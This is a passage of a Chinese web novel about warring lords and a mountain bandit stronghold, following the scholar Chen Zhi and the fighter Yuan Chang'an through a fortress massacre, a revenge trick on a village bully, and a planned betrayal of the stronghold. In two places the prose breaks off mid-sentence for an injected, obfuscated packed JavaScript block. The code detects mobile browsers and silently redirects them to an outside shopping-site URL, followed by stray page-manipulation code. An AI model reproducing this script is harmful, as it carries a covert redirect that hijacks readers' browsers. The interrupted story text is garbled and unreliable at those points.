石守恩大惊失色,仅仅一刹那的功夫,他的脑海里浮现一个令人难以置信的情况——他们被许文达耍了!许文达的目标从来就不是拉拢黄石堡,而是借黄石堡的手,除掉那些占山不降的匪首,也包括黄石堡在内。 “好毒的手段!”石守恩咬牙切齿,但现在还不是恼怒的时候,“跟着我守住后院!” 当红袍将领率兵冲向后院、石守恩带人守住后院大门之时,前院墙头上的白袍兵悄无声息地消失了。 元长安察觉到白袍兵突然消失,她看了一眼后院的墙头,心里大概明白了他们的举动。 没有了白袍兵射箭击杀,红袍将领很快就冲破了后院的门,与石守恩等人厮杀在一起。 二当家躲在树上,很清楚地看到后院的墙头上挂着飞鹰爪。来不及多想,二当家顺着树干爬上来二楼。 好巧不巧,碰到了挟持陈治的冯子嵇。 “他娘的,”冯子嵇直接爆出了粗口,“要不是老子反应快,还真将小命留这里了。” 石玉秀被石守恩叫走之后,就一直不回来,他就有所怀疑。直到他在屋里听到了外面的动静,透过窗户的缝隙,看到福叔将后院里的客人杀的杀,带走的带走,他才彻底明白,自己已经暴露了。 好在他发现的及时,躲在床底下逃过了一劫。 正当他准备松一口气,想要翻墙出去送信的时候,后院再次发生意外——不知道从哪里冒出来的几个白衣蒙面人,将福叔在内的所有人,全都一刀砍死,不留活口。 在那些白衣人之中,他躲在暗处,看到了熟悉的半张脸。与其说是熟悉的半张脸,还不如说是熟悉的红色滴泪痣。 “原来是他!” 冯子嵇确定,他一定在白崇山出现过。 等到陈治与余耀分别之后,冯子嵇跟上陈治,并挟持了他。 二当家往后退了几步,低声道:“就算你挟持了他,你也走不出黄石堡。” 而冯子嵇眼闪凶光:“那老子拉一个陪葬也是赚的!” “你想要什么?”二当家知道现在他必须保持冷静,才能保证陈治的安全。 冯子嵇将刀刃往陈治的脖子又凑近了一点,他愤恨道:“我什么都不要,我只要给我干娘报仇!” “闪开!” 刹那之间,陈治看到一把飞刀冲着自己的面门而来。他以及挟持他的冯子嵇,慌忙躲闪。因为事发突然,冯子嵇一个不留神给了陈治挣脱的机会。 陈治猛地向后一撞,将冯子嵇撞的后退了好几步,然后自己没有一丝犹豫地向前冲。 元长安一个飞身挡在了冯子嵇的面前,“我看你就是找死!” 冯子嵇刚站稳,就看到站在自己面前的熟人,“元晨?没想到真是你!” 不给他冲的机会,元长安握着一把蝴蝶刀直刺冯子嵇的面门。 冯子嵇慌乱失措,毫无出手的余地,只能躲避元长安的处处杀机。 很明显,冯子嵇不是元长安的对手,仅几个回合,他就开始招架不住。当冯子嵇再次被元长安划伤之后,他直接翻身跳下楼,顺着墙边的大树,翻出了黄石堡。 元长安拿回自己方才丢出的蝴蝶刀,一边收刀一边说:“又让这小子跑了。” 就在元长安和冯子嵇打斗的时候,后院已经翻进来不少白袍士兵,与大门口等待信号的同伴,准备给石守恩和恒王的士兵,来一个前后夹击。 石守恩见大势已去,愤恨不已。他望向关着女儿石玉秀屋子的方向,仰天大笑:“许文达,你背信弃义,不得好死!” 言毕,石守恩将刀横在脖子上,直接一抹,直接将他的衣领和衣服的上半身染红了。 而红袍将领知道自己在劫难逃,便丢了武器,举手投降。他身后的士兵纷纷将手中的兵器丢在地上,抱着头蹲下。 余耀下令收缴他们的武器,把人绑了回去请侯爷决断他们是生死。 待一切都解决的差不多之后,余耀抬头看向后院的二楼。他不知道陈治在二楼什么地方,但他知道他们二人之间的隔阂,越来越深了。 “此地不宜久留,我们也赶紧撤!”二当家听到楼下的厮杀声停止了,就已经猜到了黄石堡的结局。现在他们还待在这里,只会更加的不安全。 “好!” 三人顺着冯子嵇逃走的路线,逃出了黄石堡。 在回去的路上,虽然繁星闪烁,不至于伸手不见五指。但是元长安感觉到陈治的马越来越慢。她知道,他现在是什么也看不见。 元长安勒住马绳,停在了原地,等着陈治追上来。 陈治慢慢悠悠地追平了元长安,在离她大概一臂的距离,才看到她停在路边,便好奇地问道:“你怎么不走了?” 元长安拍了拍自己身后的马背,“要不要一起?” 陈治明白她这是担心自己会因为看不清,出现意外。但与异性同骑一匹马,他还是有些犹豫。 元长安最是看不惯婆婆妈妈的做派,她二话不说直接翻身下马,拍了拍陈治的腿,“你下来,我先坐上去,你再上。” 就这样,陈治被元长安支配,二人同骑一匹马。一路上,陈治刻意与元长安保持一定的距离,但她骑马太快,路上又颠簸,他好几次与元长安的后背紧紧贴在一起。 陈治看不见四周,但是他能看到元长安的轮廓,能闻到元长安独有的沁香。 他在没有任何人注意的地方,伸手扯住了元长安的衣服,直到回到山寨他才松手。 次日一早,陈治推开窗户,感受着新的一天。天空清澈如洗,阳光明媚而不刺眼,透过稀疏的云层洒落,给大地披上一层金色的外衣。 “陈怀久,快点出来,我带你去东山抓兔子!”不出意外,这风风火火的做派除了元长安就没有别人了。 昨天刚经历完一场动乱,第二天又恢复了生龙活虎。陈治对元长安,越来越刮目相看。 东山的小道上铺满了落叶,踩上去沙沙作响。 “我给你说,这个时候的兔子特别肥,前年我就在这一片,抓到过一只五公斤的兔子呢。”元长安喋喋不休,表情和声调都带着炫耀。 陈治见她如此生动的一面,也禁不住心里的暖意:“你还挺厉害的,那我今天晚上有没有口福,就看长安你了。” “对了,你应该还不知道,今天耗子叔从县里回来,说黄石堡现在已经是周城侯的驻地。” “如果周城侯再攻下庆泽县,那就与黄石堡、白崇山形成了一道易守难攻的防线。”陈治想到昨天下午他观察到黄石堡与白崇山的地理位置,一旦将这两处地方与庆泽县连成线,既可以抵挡恒王,又能将清风寨隔绝。 元长安突然想到一件事情,“前几天我听大当家和二当家说过,周城侯同定襄郡太守达成盟约,围攻常山郡。照你这么说的话,怕是过不了几天,清风寨就会发生一场动乱。不知道为什么,我这心里一直七上八下,特别不安。” 陈治拍了拍元长安的头,宽慰道:“先不说清风寨会不会有这么一场动乱,就是清风寨的这个易守难攻的地理条件,还有大当家坐镇和二当家出谋划策,只要没有内鬼,清风寨还是很难攻下的。” 元长安一想,确实也是这么一回事,“你说的有道理。算了,不想这些有的没的,还是抓兔子最要紧。” 二人谈话间,不远处的草丛后有动静。 元长安拦住陈治上前的脚步,她的耳朵随着草丛晃动而微动,从腰间拿起神弓弩,对准那片草丛。时间在一点点流逝,草丛先是露出一双灰色的长耳朵,然后就是一颗灰毛兔头。 “嗖——” 突如其来的一支飞箭划破天际,射穿了那只兔子的头。 “柳继平,你怎么在这里?”元长安看到抢她兔子的来人,眼底是压抑的怒火。但是,从她的语气中,陈治还是听出来一种厌恶和嫌弃。 来人约莫二十岁,大摇大摆地走上前将死透的兔子提起,经过元长安和陈治的时候,眼神不善地打量着陈治,然后转向元长安的时候,又是让人反感的目光。 “长安你这话说的可就不对了,这东山是清风寨的东山,我想来就来。”柳继平神态轻佻,再加上他是吊三角眼,额头上还有一道刀疤,着实让人不舒服。 陈治转过身,挡住柳继平看元长安的目光,低头对她道:“我们去别的地方再转转。” 而元长安眉眼之间已经染了怒气,“我想砍了他!” “这是在寨子里面,你若是冲动,大当家也会为难。”陈治握住她的手腕,“即使再讨厌他,也不要在寨子里面动手。” 虽然陈治并不知道为什么元长安会对突然冒出来的柳继平杀意那么重,但他能看出柳继平看向元长安那种□□肆意的眼神,或许这就是原因。 他不担心柳继平的生死,但他害怕元长安会因此惹上麻烦。 元长安不服气,她对柳继平的态度一向就是见一次打一次,更别提方才他还抢了她的兔子。 她想要挣脱陈治握着自己手腕的那只手,就听到他轻声道:“我帮你教训他,还不会被发现,你信不信我?” 元长安诧异地抬眸看着陈治,只见他说的很认真,眼神也很诚恳。于是,她点头回应道:“那行吧,勉强信你一回。” “那我们先离开这里,好不好?” “好。” 元长安无法拒绝这么温柔的陈治。 柳继平见他们两个无视自己的存在,窃窃私语。虽然没有听清楚他们在说什么,但是看他们不理会自己转身离开,立马就不乐意了。 “你带着长安干什么去?”柳继平拦住元长安和陈治,话是对着陈治说的,但眼神却一直在元长安身上打转。 陈治将元长安拉到自己的身后,自己挡在她身前,脸上是人畜无害的笑容:“这地方就那么大,既然柳兄弟在这里,那我和长安就去别的地方逛一逛。” 说着,侧头对着元长安若无其事道:“咱们刚才来的路上,我看到那个斜坡上有不少甘草。医书上记载甘草益气补中、祛痰止咳、解毒、缓急止痛,是一种很名贵的药草。我们可以拿到县上的药铺去卖,说不定能卖个好价钱。” 元长安瞬间就明白他的意思,配合地点头应和:“没想到你竟然连这都知道,我之前就经常见张嫂在这山上采药,然后拿到县上的药铺去卖。” 她一边说,一边偷偷观察柳继平的表情,见他强忍着激动和兴奋,继续道:“照你这么说,这甘草那么管用,肯定能卖了好价钱。到时候,我给你多买些蜡烛。” 当柳继平听到元长安说的“能买个好价钱”时,眼睛装作不经意地看向他们说的地方。风吹草动,让他感觉确实有大家伙。他眼珠子滴溜溜地转, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142853|150174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里的算盘都在脸上打着。 就在元长安和陈治迈步离开的时候,柳继平喊住了他们:“哎,前些天下大雨,那个斜坡都被冲塔了,怪危险的。我劝你俩,别为了一点没头没影的东西,在床上躺个十天半个月的。” 元长安冷哼道:“看来去年的那顿打,你是一点记性都没长。” 柳继平不由得后退了一步,甚至感觉元长安看着自己的眼神和去年那一天的一模一样。但是一想到那边的草药能卖个好价钱,他硬气道:“真是好心没好报。这样吧,我对东山熟悉的不能再熟悉了。我给你们开路,不过卖草药的钱见者有份。” 陈治在背地里拉住想要说话的元长安:“他说的也不无道理,该小心的还是要小心。长安,那你先回去拿个篮子和一根绳子,我和柳兄弟在这里等着你。” “我……” 陈治冲她眨了眨眼睛,示意她一切尽在掌握。于是,元长安才心不甘情不愿地离开了。 元长安走远后,柳继平看着文弱且不堪一击的陈治,脸上闪过不屑,然后又一脸谄媚相:“陈兄弟,你说的那个甘草,长什么样子?” 陈治警惕地看着他,“你问这干什么?” 柳继平嘿嘿一笑:“我这不也想出一份力嘛,等一下我们三个一起找,这样更快。” 陈治半信半疑,柳继平继续道:“都是一个寨子的,我还能骗你们跑路啊?” “行吧,我给你画下来吧。”陈治捡起一根小树枝,在地上一边画一边描述:“其株茎挺而矗立,根呈圆柱之状,色红棕或灰棕,气香而味甘甜。” 柳继平听的认真,将甘草的特征记住之后,计上心头。刚准备用箭捅死陈治,就听他道:“遭了,忘了让长安拿铲子了。柳兄弟,你在这里等着,我回去拿铲子。” “行,你去吧。”柳继平稍稍松了一口气,虽然让这小子逃过一劫,但也省了他的麻烦。 山路不好走,陈治跌跌撞撞的背影,让柳继平唾弃不已。 “没想到元长安竟然喜欢这个样儿的,废物一个。”柳继平对于陈治,是瞧不起,是轻蔑。 刚才就想了结了陈治,再跟人解释是他脚滑从山上掉下去,反正这山上下过一场雨滑的很。这样一来,元长安那小妮子,他就又有机会了。 不多想,他的主要目的是找到陈治说的甘草,多摘一些,好卖个大价钱。 正巧,柳继平一眼就看到了陈治所说的甘草。他小心翼翼地走到一个陡峭的斜坡上,看到坡上长满了甘草,心中大喜。也顾不得危险,手忙脚乱地开挖。 因为下过雨,再加上甘草只生长在土壤疏松的地方。所以,柳继平一个没站稳,就直接从山坡上滚了下去。 一根从地上冒出来的尖锐细枝干,直直地穿透他的右大腿。 “啊!” 柳继平的惨叫,元长安和陈治都听见了。二人相视一笑,随后一起下山。 晚上元长安来给陈治送蜡烛的时候,也说起了柳继平从东山下来之后的事情。 “因为处理的太晚,他的那条右腿算是废了。听说,他到现在还没醒呢。”元长安帮着陈治将屋里所有的蜡烛都点亮,“也不知道,等他醒来,发现自己的右腿废了,是个什么表情。但是,想想都觉得痛快。” 陈治点完最后一根蜡烛,问道:“那也是他活该。” “他确实活该!去年将心思打在我身上,被我揍了一顿。要不是他妹妹拦着,我直接就一枪攮死他了。”元长安越说越气愤,当时就应该一枪捅死他,也省得看他犯恶心。 陈治倒水的手一顿,“我看他的样子,应该有二十了,竟然还把心思打到你那里?当真是龌龊不堪。” 元长安双手托腮,“他是我们寨子里有名的臭流氓,世道这么乱,也是让他钻了空子,都不知道祸害了多少小姑娘。去年他想偷看我洗澡被我提前发现,直接揍了一顿。要不是他妹妹柳莺儿求我,他孟婆汤都不知道喝多少回了。” 陈治笑意不达眼底,“有些东西,总得有存在的价值。” ----------------- 许文达正在和许夫人一起逗小世子玩,就听到下人通报,说高望求见。 “知道了。”本来许文达因为陪儿子玩,心情愉悦。一听到高望求见,瞬间变了脸色。 许夫人在一旁安慰道:“说不定高望有要事回禀。侯爷若是因为陪我们母子而误了大事,妾身可是担待不起。” 许文达自然知道高望找自己绝对不可能是一些鸡毛蒜皮、不值一提的小事,但他现在只想静下心来陪陪妻子儿子。 这几日他是吃不好也睡不好,而且他的心里像是一直压着一块石头,有时候让他喘不过来气。 只有在自己夫人的院子里待着,他才好受一点。更何况面对的还是自己心心念念盼来的嫡长子,一见到他,身体上的什么毛病就都没有了。 “行,本侯去去就来。”许文达用手指蹭了一下小世子的小鼻子说道。 许夫人看着许文达远去的背影,将躺在小摇床上的小世子抱在怀里,“清儿,你一定要争气,才不枉为母为你的这般谋划。” 许文达在书房见了高望,他开门见山道:“黄石堡那边什么情况?” “回侯爷,已经成了。今日卑职前来,是为了另一件事情。”高望走上前,道:“薛长鸣的大军已经行进常山郡,只是马绍宗那边,有些不太妙。” “差不多半天的时间,就能抵达恩济县。”许文达转过身看向那张巨大的地图,用手指从厉阳郡顺着到恩济县,猜测大概的行军路线,“马绍宗那边,出了什么岔子?” “昨天薛明礼飞鸽传书,说马绍宗一切如常,只是洪长磊一直没有攻下章骐的防线。”高望低垂着头,很好地掩饰了自己的面部表情,然后将信件双手奉上。 许文达没想到洪长磊竟然这么废物,他将信件直接丢在桌子上,“若是洪长磊被章骐拦在石门桥,薛长鸣要想攻破恩济县,那便是难上加难。马绍宗那边,薛明礼有没有说谁可用?” 高望直接摇头道:“薛明礼在信上说,就目前来看,洪长磊已经算不错的了。” “不错?”许文达被气笑了,“章骐就一伙夫出身,他都对付不了,你跟我说他已经算不错了?你立马给薛明礼说,我不管他用什么办法,就是亲自上阵,也要在三日之内过桥!” 高望左右为难:“侯爷……” 许文达制止道:“我知道你收了薛明礼这个学生,你们师生情谊深厚。但这是打仗!我三万士兵马上就要到恩济县了,结果盟军被拦,支援无望。高望,你重情重义,能考虑到你学生的处境,那我三万弟兄就要白白送死吗?!这次如果不能拿下常山郡,一旦郑吉和郑少华联合反扑,我就是死路一条!” “卑职明白,请侯爷放心,卑职一定将侯爷的话带到,让他不惜一切代价,也要让盟军过桥!”高望很少见许文达发那么大的火,看来这次他没得选。 高望离开之后,许文达单手紧握成拳,重重地锤在地铁常山郡这块地方。 “真是废物!” 14. 风雨欲来时 郑吉得到冯子嵇兵败黄石堡的消息,将身前桌面的所有东西,一扫而光。 “废物!现在许文达的大军已经到了常山郡,你们竟然连小小的黄石堡都没有给本王拿下!本王要你们有何用?!” 柳全知道黄石堡一事,是自己大意了,没想到许文达竟然给他们来了一个黄雀在后。 “王爷,您先息怒。卑职也没有想到,许文达竟然就这么巧,在我们后面坐收渔翁之利。”说着说着,柳全脑海中一闪而过一种想法:“攻打黄石堡,是王爷与卑职密谈之事。卑职带兵赶赴庆泽县,也并没有任何前兆。许文达又是如何知道这些消息的?” 郑吉思索片刻,紧皱的眉头也舒展开来,“本王竟然疏忽了,让身边出现了吃里扒外的东西。你去查,本王倒要看看,谁这么有胆量。还有,既然黄石堡被许文达拿下,就让吴永善从庆泽县,直攻清风寨。只要拿下清风寨,京畿还是我说了算!” “常山王那边?”柳全有些不放心,“听说马绍宗的大军已经过了石门桥,和许文达的大军形成了包围圈。” 郑吉指了指地下散落的信封,“那些都是老十传来的书信,想要本王能南下定襄,与他一起反攻。只是,曲河河流湍急,我们的大军根本就没办法过河。但是,若不能反攻定襄郡,等到厉阳和定襄吞并常山,京畿就彻底变天了。” 柳全也知道马绍宗和许文达选择在这个时候,从两面包围常山郡,就是算准了曲河的情况,让他们无法过河。“卑职明白了,这就下去安排。” “清风寨必须拿下!千万不能给许文达喘息的机会,这次若是再失败,京畿可就成了他许文达的天下了。”郑吉神情严肃,眼神犀利,浑身上下的气势让柳全一度喘不过气。 “请王爷放心,暗棋已下,一触即发。” ----------------- 有了元长安拉来的黄杨木,再加上刘月婵的手艺精巧、魏向安的更改建议,第一架巨弩很快就做出来了。 陈治原本想第一时间拉着元长安试一试它的威力,只不过沈清棠下山她要陪同。 “第一次试箭,准头先放一边,主要看它的距离还有威力。”陈治简单地调整了一下巨弩的部分细节,然后大手一挥:“射!” 然而陈治一声令下,伴随而来“咔嚓”一声巨响,整个巨弩车的前端弓竟然从中断裂开来。 “这是怎么回事?”陈治看着断裂的前端弓,愁容满面,心中也充满了疑惑。 刘月婵捡起断裂成两节的其中一块木头,经过仔细检查,刘月婵发现前端弓的裂痕并不是新形成的,而是早已有之,只是在巨大的拉力下才彻底断裂。 刘月婵直接木头断裂的横截面,“这些导致断裂的痕迹,很有可能是木材的细微瑕疵所致,是我没注意。” 陈治顺着刘月婵手指的地方看,“没事,就当长个教训,下回注意就是了。” 刘月婵收起断木,突然说道:“陈兄弟,你和长安你们两个,是不是有情况啊?” “什么?”陈治用奇怪的眼神看向刘月婵,“有什么情况?” 刘月婵还以为他不好意思,眉毛微微上扬,眼神狡黠,然后压低声音道:“别藏着掖着了,这寨子里谁不知道你和长安走的最近。听张嫂说,长安为你,都受过伤。而且,这黄杨木也是她给你弄来的吧?我给你说,除了大当家、二当家、沈让和崔涯,我还真没见过她会对谁那么用心。” 陈治原本是一脸茫然,但是被刘月婵越说越脸红。这让刘月婵觉得,有戏。 “长安还小……” “确实,长安现在…有十几了?” “十三。” “哟,这你都知道?”刘月婵看向陈治的眼神带着戏谑、玩味,随后道:“其实,也就这两年的功夫了,平头百姓家的孩子差不多都是这个岁数就说了人家。” 听到这,陈治婉言道:“八字还没一撇,以后再说吧。” 刘月婵看出陈治的羞涩,喜上眉梢:“行行行,不说了不说了。我呀,还是回去再研究研究这个巨弩车吧。” 陈治目送刘月婵离开,对于元长安,他并没有抑制自己对她的情感。只是不敢去探究,她对自己的感觉。因为他知道,元长安最喜欢,好看的东西。只是不知道,自己算不算特别? 回去的路上,陈治正巧碰到了采药回来的张嫂和其她几位嫂子。 “我们正说着你呢,就碰到了,真是巧。陈兄弟不愧是从大户人家出来的,会的就是多。原本柳继平的腿算是废了,结果陈兄弟给我了一副药方,没出几天就好了。”昨天张嫂看到柳继平能站起来之后,对陈治是稀罕的不行。 陈治笑了笑,“哪里,毕竟柳大哥也是因为我们才受伤的。那个方子,也算是我和长安的一点心意。” 张嫂挥了挥手道:“那是他柳继平总想着贪便宜,不注意从山坡上滚下来。” 柳继平的为人,在寨子里是出了名的不好。所以,当他醒过来一直叫嚷着“陈治、元长安害他”,没有一个人信他。陈治也将事情的经过,完完整整地跟二当家交代清楚。对于柳继平,所有人都愿意相信为人和善有礼的陈治。 一个身穿灰色麻布衣服的嫂子瞧着陈治的模样,在心里盘算了一会儿,开口道:“陈兄弟,你多大了?我闺女今年刚过十六,还没许人家呢。” 陈治向后退了一步,然后拒绝道:“怀久暂无娶亲之意。” 那个嫂子不放弃,继续道:“我闺女可不差,身板好,能干活能吃苦。陈兄弟,你再考虑考虑。” 一位穿着蓝色发白衣服的嫂子瞥了她一眼,不客气道:“你闺女比我家猪都胖,可不是身板好嘛。再说了,人家陈兄弟是大户人家出来的,你闺女也就配在人家家里做烧火丫头。” 蓝衣嫂子的嘲笑,让灰衣嫂子气急败坏:“王红花,你什么意思?我闺女再怎么样,至少不会偷人!” “你!”蓝衣嫂子也是气的说不出一句话来。 张嫂连忙劝道:“行了行了,人家陈兄弟和长安的关系好着呢,不用你们瞎操心。” 确实,整个寨子里都知道有元长安在的地方,就有陈治。 就在这时,张大夫浑身是血,急急忙忙地从他们面前跑过去。张嫂见了拉住他的衣袖,道:“你这身上怎么回事?你干什么去了?” 张大夫看是自己媳妇,停下脚步喘了几口气:“柳继平今天也不知道受了什么刺激,突然发疯,拿着刀乱砍。我刚从他家里回来,真是惨啊,都不成人样。” “什么?!”除了陈治和张大夫,在场的所有嫂子们震惊不已。 ----------------- 元长安和沈清棠回到寨子的时候,就听到柳继平死了的消息。她们两个便直接赶到柳继平的家,发现他们兄妹二人的家里空荡荡的,只有一口棺材摆在院子里面,柳莺儿跪在地上低声抽泣。 因为柳继平游手好闲、偷鸡摸狗、人品不好,所以家里特别穷,说是家徒四壁都不为过。再加上寨子里很多人都跟柳继平不对付,也没什么人员往来,更显冷清。 沈让的出现让柳莺儿眼前一亮,本来内心有一点悲伤,毕竟柳继平人再龌龊再无能,也是自己的亲哥哥。可当她刚想喊出声,就看到沈让的眼神,从沈清棠一进院就没从她身上离开过。 “你怎么来了?”沈让暗戳戳地靠近沈清棠,“县里好玩吗?买东西了没?” 沈清棠被他一连三问给整笑了,“你说让我回答你哪一个问题?” 沈让尴尬地摸了摸自己的鼻子,嘿嘿一笑:“都行,回答哪个都行。” “我就是帮张嫂子去县里的药铺卖些草药,卖完就回来了。一进寨子就听说有人死了,我就和长安一起来看看。”沈清棠回答道。 沈让悄悄凑近沈清棠的耳朵,耳语道:“那下次我带你去县里好好玩一趟。” 沈清棠转过头正好与沈让贴的很近,只差一点点二人就要说不清道不明了。而柳莺儿看到他们如此亲密,对于自己的出身越来越不满意。她听说过沈清棠的来历,正儿八经的世家之女,大家小姐。而自己,被哥哥连累了名声,不被人待见。 元长安在院子里没有看到陈治的身影,便跟沈让说了几句话,就去陈治的木屋找他。 果不其然,陈治正坐在院子里,翻看着书籍。旁边的小石桌上,还摆着茶壶、茶杯和几本书。他院子里的石桌石凳,是元长安担心他白天在屋里看书也会看不清,就在小院里给他整来了一套石头桌凳。 元长安走过去瞥了一眼他桌面上的书,第一本就是《古法草药集》。 “陈怀久,柳继平的事情,你听说了没有?” 陈治合上书本,抬头看向她的时候,嘴角上扬:“方才从张大夫口中听到了大概,但具体发生了什么,我就不知道了。” 元长安拿起桌上的《古法草药集》随手翻了几页,然后就放回了原位,“这些事枯燥无味的,也就是你能看的下去。” 陈治的目光落下桌子上那一摞书本上,然后从最下面抽出一本书,“这个给你看。” 元长安眼神疑惑,接过之后,翻开第一页就被里面的文字吸引住了。 “知道你喜欢看志怪小说,我就将书本上的知识和志怪故事结合在一起,说不定你能多学一点,”陈治说完还看了一眼元长安,只是她看书看得入迷,怕是根本就没听进去。 陈治无奈地摇了摇头,收回目光时,正好看到《古法草药集》这本书,而他眼神闪过一丝异样,无人发现。 ----------------- 佟如清如期与黑衣人碰面,他将一袋沉甸甸的钱袋子递给黑衣人,“我需要你三日后,放大军进寨。” 黑衣人动作一顿突然感觉手上的钱袋子太沉了,“这个我办不到。清风寨只有前门和后崖可以进寨,所以这两个地方都被严密把守。除非你们选择围寨,我能帮你们断了寨子的水源。到时候,沈老大就是不降,也撑不住你们攻寨。” 佟如清摇摇头道:“围寨太耗时间,我们等不了那么久。我知道这件事情很难,但是除了你,没人能做这件事。你放心,我答应你的事情,一件都没有忘。你现在手上拿着的,就是我替你争取到的。你可以自己掂量掂量,值不值你开门迎军?” 这次钱袋子确实沉,比前几次还要沉上几分。黑衣人犹豫了,佟如清也不催他,静等他的答复。 不知道过了多久,黑衣人开口道:“我手下几个弟兄和我一条心,只是……” 黑衣人欲言又止,佟如清也明白他的意思,又从怀里掏出一个稍沉的钱袋子,丢到黑衣人的手上。黑衣人一把接过,“我先带你们的人混进寨子里,三日后,开门迎军。” “我可以相信你吗?” 佟如清突然来了这么一句,让黑衣人冷笑一声:“我前几次给你传递的消息,你们应该已经证实真实性了吧?都已经上了你们的船,你说我还有回头的余地吗?我这个人只认钱不认人,清风寨对我而言,只不过就是个土匪窝而已。” “那就祝我们,都能达成所愿。” ----------------- 清阳县又迎来一场雨,不过这次的雨势较之以往要小得多。细雨如丝,滋润着即将休眠的大地,空气中弥漫着淡淡的凉意。 沈老大偶感风寒,一直咳嗽不断。二当家也不幸被沈老大传染,但他体弱,直接卧病在床起不来了。 元长安在陈治的小木屋里,听他念叨“之乎者也”“善莫大焉”等等等等。 “陈怀久,你饿不饿?都学了一上午了,你不饿我都饿了。”元长安说着,肚子也很给力地发出“咕——”的声音。 陈治抬手轻轻敲了敲她的头,“你呀,读书不认真,别的事情倒是积极的很。你等着,我这里还留着你上次从县里给我买的桃酥,我去给你拿。” 元长安等着陈治将核桃酥拿过来,然后迫不及待地拆开油纸拿起一个就吃。虽然她尝不出什么味道,但是能填饱肚子就行。 “你怎么还没吃完?”元长安记得她一共就给陈治带了三块核桃酥,现在加上她吃的这个,还剩下一块。“你不喜欢吃吗?可是,之前沈让和崔涯都说这家的核桃酥特别好吃。” 陈治坐回自己的位置上,笑着解释道:“我对这些吃食一向都是随便的,不过今天倒是让你得了便宜。” 元长安将最后一口塞进嘴里,“你总不能让我饿着肚子听你给我讲课吧?”因为她嘴里的核桃酥没有咽完,一说话就有渣子喷出来。 陈治抬手为她擦拭嘴角的酥渣,“吃东西的时候不要说话,等咽下去之后再说。” 元长安正好咽下最后一口,“知道了。” “最近你的枪法练的怎么样?我给你的那几本书,有没有好好看?” 一提到陈治给自己的那几本关于枪法的武学书籍,顿时变得兴奋起来:“你给我的那几本书,我都看的差不多了。那些枪法招式,我熟得不能再熟了,还顺道摸索出几招枪法,有时间让你看看。” 陈治一直都知道元长安在武学方面是个奇才,没想到竟然如此厉害。 “那我再教你一些兵法和阵法怎么样?”他认为,既然元长安是个武学奇才,应当好好教授,说不定日后她会是一代将才。 但是元长安一听到要学习,就觉得头晕脑胀,满脸写着难受。 “我教你兵法和阵法,就是认为他日你会成为一个将才,能与前齐晋阳王白怯并肩。” 元长安从来没想过自己能有成为将才的一天,她只想守着清风寨,掰着手指头过日子。 生死有命,富贵在天。 “现在这个世道,局势瞬息万变。即使清风寨的地理位置得天独厚,易守难攻。但终究受水源所限,一旦水源被污染,清风寨就会陷入被动。 如今,周城侯和定襄太守已经发兵常山,那西边的恒王就有了机会。如果要保住清风寨,你要学的还有很多。” 元长安承认,陈治说的很有道理,她被说服了:“阵法倒是可以学一学,但是兵法这种东西,我觉得还是随机应变来的实在。” “你总是有理的。”陈治看着元长安,眼中含笑。 “长安。” 元长安嘴里塞着最后一块核桃酥,眼睛大而有神,带着懵懂:“嗯?” “我……”陈治竟然一时之间不知道从何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142854|150174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说起,他支支吾吾半天,最后问了一个让元长安摸不着头脑、让自己恨不得抽自己的的问题:“我长得好看吗?” 元长安的疑惑让陈治感觉特别难堪,自己这是问的什么啊?! “好看啊,你是我见过最好看的人了。”元长安即使不明白他的意思,但还是会如实回答他。 听到元长安的话,陈治心里的难堪变成的一股暖流,流向全身。 “长安,你信不信我们曾经见过面?” 元长安感觉今天的陈治怪怪的,“你是不是被魇着了?怎么今天那么多奇怪的问题?” 陈治也感觉今天过于冒失,他露出带着歉意的笑容:“我没事,就是随便问问。” 元长安越看越觉得陈治不对劲,她站起身,拍了拍手上的渣子,然后双手放在他的肩膀上,认真道:“是不是在寨子里待的太无聊,人都变傻了?” 陈治微微抬头,浅浅笑着,看向元长安的眼眸清澈明亮,“可能就是太无聊了。” “走,现在我带你下山溜达一圈。” “好。” “你等我拿上我的长生枪,听说县里又有摆擂台的,我必须要拿下赏银!” “都听你的。” 说走就走,元长安和陈治一下山,就向人打听清阳县打擂台的地方在哪里。坏消息是,清阳县没有打擂台;好消息是,打擂台在冠川县。 冠川县里清阳县很近,比去庆泽县还要近,骑马需要不到两刻钟的时间,走小路也只需要半个时辰。 陈治见元长安对拿赏银这件事情,一直耿耿于怀,便同意跟着元长安去冠川县逛一圈。 冠川县与清阳县、庆泽县不一样,这个县城倒是人烟浩穰,处处透着繁华。因为冠川县作为厉阳郡的边县,靠近临川郡,也因此与临川各县一样,人来人往。 “冠川县真热闹。这整条街,闻着都好香啊。”元长安看得自己眼花缭乱。 陈治给她讲解道:“冠川县在前朝齐武帝时,曾为国都。虽然到了齐平帝时迁到了如今的京都,但到底冠川还是有些根基的。” 元长安不懂这些,也就当故事听听:“赶紧找找那个打擂台在哪里,我刚才可是打听到,这次比上次赏的还要多,好像是一百五十两白银。这次我带着我的长生枪,一定能赢。” 二人在县里逛了很长时间,打擂台在哪里没找到,倒是玩得挺开心的。 黄昏时刻,夕阳的余晖斜照在石板街上。街道两旁,老树的枝叶在微风中轻轻摇曳。 “时间不早了,我们回去吧。”陈治替元长安拿着她的长枪,边走边说道。 元长安这才突然想起来,她拍了一下自己的头,“玩了那么久,我竟然忘了赏银的事情。”然后又看到太阳在慢慢下沉,天边的颜色逐渐加深,“行吧,明天再来……” 